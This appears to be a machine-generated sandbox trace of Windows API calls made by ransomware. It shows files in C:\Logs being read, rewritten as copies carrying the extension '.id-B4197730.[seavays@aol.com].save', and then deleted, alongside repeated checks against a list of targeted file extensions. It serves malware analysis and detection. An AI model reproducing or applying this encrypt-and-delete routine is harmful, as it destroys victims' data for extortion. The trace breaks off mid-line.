WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11020, lpOverlapped=0x0) returned 1 [0061.710] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.710] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x134, lpOverlapped=0x0) returned 1 [0061.710] SetEndOfFile (hFile=0x2e8) returned 1 [0061.710] CloseHandle (hObject=0x2e8) returned 1 [0062.052] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.052] SetEndOfFile (hFile=0x2fc) returned 1 [0062.053] CloseHandle (hObject=0x2fc) returned 1 [0062.053] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.053] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0062.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.054] lstrlenW (lpString=".doc") returned 4 [0062.054] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString=".docx") returned 5 [0062.054] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.054] lstrlenW (lpString=".pdf") returned 4 [0062.054] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString=".xls") returned 4 [0062.054] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString=".xlsx") returned 5 [0062.054] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.054] lstrlenW (lpString=".ppt") returned 4 [0062.054] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.054] lstrlenW (lpString=".zip") returned 4 [0062.054] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString=".rar") returned 4 [0062.054] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString=".bz2") returned 4 [0062.054] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString=".7z") returned 3 [0062.054] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.054] lstrlenW (lpString=".dbf") returned 4 [0062.054] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.055] lstrlenW (lpString=".1cd") returned 4 [0062.055] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.055] lstrlenW (lpString=".jpg") returned 4 [0062.055] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.055] lstrlenW (lpString=".doc") returned 4 [0062.055] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString=".docx") returned 5 [0062.055] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.055] lstrlenW (lpString=".pdf") returned 4 [0062.055] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString=".xls") returned 4 [0062.055] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString=".xlsx") returned 5 [0062.055] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.055] lstrlenW (lpString=".ppt") returned 4 [0062.055] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.055] lstrlenW (lpString=".zip") returned 4 [0062.055] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString=".rar") returned 4 [0062.055] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString=".bz2") returned 4 [0062.055] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString=".7z") returned 3 [0062.055] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.055] lstrlenW (lpString=".dbf") returned 4 [0062.055] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.056] lstrlenW (lpString=".1cd") returned 4 [0062.056] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0062.056] lstrlenW (lpString=".jpg") returned 4 [0062.056] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.056] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.056] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0062.056] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.056] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0062.056] CloseHandle (hObject=0x2fc) returned 1 [0062.056] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0062.056] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.056] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.057] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.057] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.057] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.057] GetLastError () returned 0x0 [0062.057] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.059] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.061] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.061] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x134, lpOverlapped=0x0) returned 1 [0062.061] SetEndOfFile (hFile=0x2e8) returned 1 [0062.062] CloseHandle (hObject=0x2e8) returned 1 [0062.064] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.064] SetEndOfFile (hFile=0x2fc) returned 1 [0062.066] CloseHandle (hObject=0x2fc) returned 1 [0062.066] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.066] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0062.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.066] lstrlenW (lpString=".doc") returned 4 [0062.066] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.066] lstrlenW (lpString=".docx") returned 5 [0062.066] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.067] lstrlenW (lpString=".pdf") returned 4 [0062.067] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString=".xls") returned 4 [0062.067] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString=".xlsx") returned 5 [0062.067] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.067] lstrlenW (lpString=".ppt") returned 4 [0062.067] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.067] lstrlenW (lpString=".zip") returned 4 [0062.067] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString=".rar") returned 4 [0062.067] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString=".bz2") returned 4 [0062.067] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString=".7z") returned 3 [0062.067] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.067] lstrlenW (lpString=".dbf") returned 4 [0062.067] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.067] lstrlenW (lpString=".1cd") returned 4 [0062.067] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.067] lstrlenW (lpString=".jpg") returned 4 [0062.067] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.067] lstrlenW (lpString=".doc") returned 4 [0062.067] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.067] lstrlenW (lpString=".docx") returned 5 [0062.067] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.068] lstrlenW (lpString=".pdf") returned 4 [0062.068] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString=".xls") returned 4 [0062.068] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString=".xlsx") returned 5 [0062.068] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.068] lstrlenW (lpString=".ppt") returned 4 [0062.068] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.068] lstrlenW (lpString=".zip") returned 4 [0062.068] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString=".rar") returned 4 [0062.068] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString=".bz2") returned 4 [0062.068] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString=".7z") returned 3 [0062.068] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.068] lstrlenW (lpString=".dbf") returned 4 [0062.068] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.068] lstrlenW (lpString=".1cd") returned 4 [0062.068] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0062.068] lstrlenW (lpString=".jpg") returned 4 [0062.068] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.068] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.068] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0062.069] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.069] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0062.069] CloseHandle (hObject=0x2fc) returned 1 [0062.069] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0062.069] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.069] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.069] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.069] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.069] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.070] GetLastError () returned 0x0 [0062.070] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.072] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.074] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.074] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x140, lpOverlapped=0x0) returned 1 [0062.074] SetEndOfFile (hFile=0x2e8) returned 1 [0062.074] CloseHandle (hObject=0x2e8) returned 1 [0062.076] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.076] SetEndOfFile (hFile=0x2fc) returned 1 [0062.078] CloseHandle (hObject=0x2fc) returned 1 [0062.078] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.078] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0062.078] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.078] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.078] lstrlenW (lpString=".doc") returned 4 [0062.078] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.078] lstrlenW (lpString=".docx") returned 5 [0062.078] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.078] lstrlenW (lpString=".pdf") returned 4 [0062.078] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.078] lstrlenW (lpString=".xls") returned 4 [0062.078] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.078] lstrlenW (lpString=".xlsx") returned 5 [0062.078] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.078] lstrlenW (lpString=".ppt") returned 4 [0062.079] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.079] lstrlenW (lpString=".zip") returned 4 [0062.079] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString=".rar") returned 4 [0062.079] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString=".bz2") returned 4 [0062.079] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString=".7z") returned 3 [0062.079] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.079] lstrlenW (lpString=".dbf") returned 4 [0062.079] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.079] lstrlenW (lpString=".1cd") returned 4 [0062.079] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.079] lstrlenW (lpString=".jpg") returned 4 [0062.079] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.079] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.079] lstrlenW (lpString=".doc") returned 4 [0062.079] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString=".docx") returned 5 [0062.079] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.079] lstrlenW (lpString=".pdf") returned 4 [0062.079] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString=".xls") returned 4 [0062.079] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.079] lstrlenW (lpString=".xlsx") returned 5 [0062.079] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.079] lstrlenW (lpString=".ppt") returned 4 [0062.079] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.080] lstrlenW (lpString=".zip") returned 4 [0062.080] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.080] lstrlenW (lpString=".rar") returned 4 [0062.080] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.080] lstrlenW (lpString=".bz2") returned 4 [0062.080] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.080] lstrlenW (lpString=".7z") returned 3 [0062.080] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.080] lstrlenW (lpString=".dbf") returned 4 [0062.080] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.080] lstrlenW (lpString=".1cd") returned 4 [0062.080] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0062.080] lstrlenW (lpString=".jpg") returned 4 [0062.080] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.080] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.080] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0062.080] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.587] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0062.587] CloseHandle (hObject=0x370) returned 1 [0062.587] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0062.587] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.587] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.587] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.587] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.587] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0062.588] GetLastError () returned 0x0 [0062.588] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.590] WriteFile (in: hFile=0x394, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.592] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0062.592] WriteFile (in: hFile=0x394, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x126, lpOverlapped=0x0) returned 1 [0062.592] SetEndOfFile (hFile=0x394) returned 1 [0062.593] CloseHandle (hObject=0x394) returned 1 [0062.595] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.595] SetEndOfFile (hFile=0x370) returned 1 [0062.596] CloseHandle (hObject=0x370) returned 1 [0062.596] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.597] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0062.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0062.597] lstrlenW (lpString=".doc") returned 4 [0062.597] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned 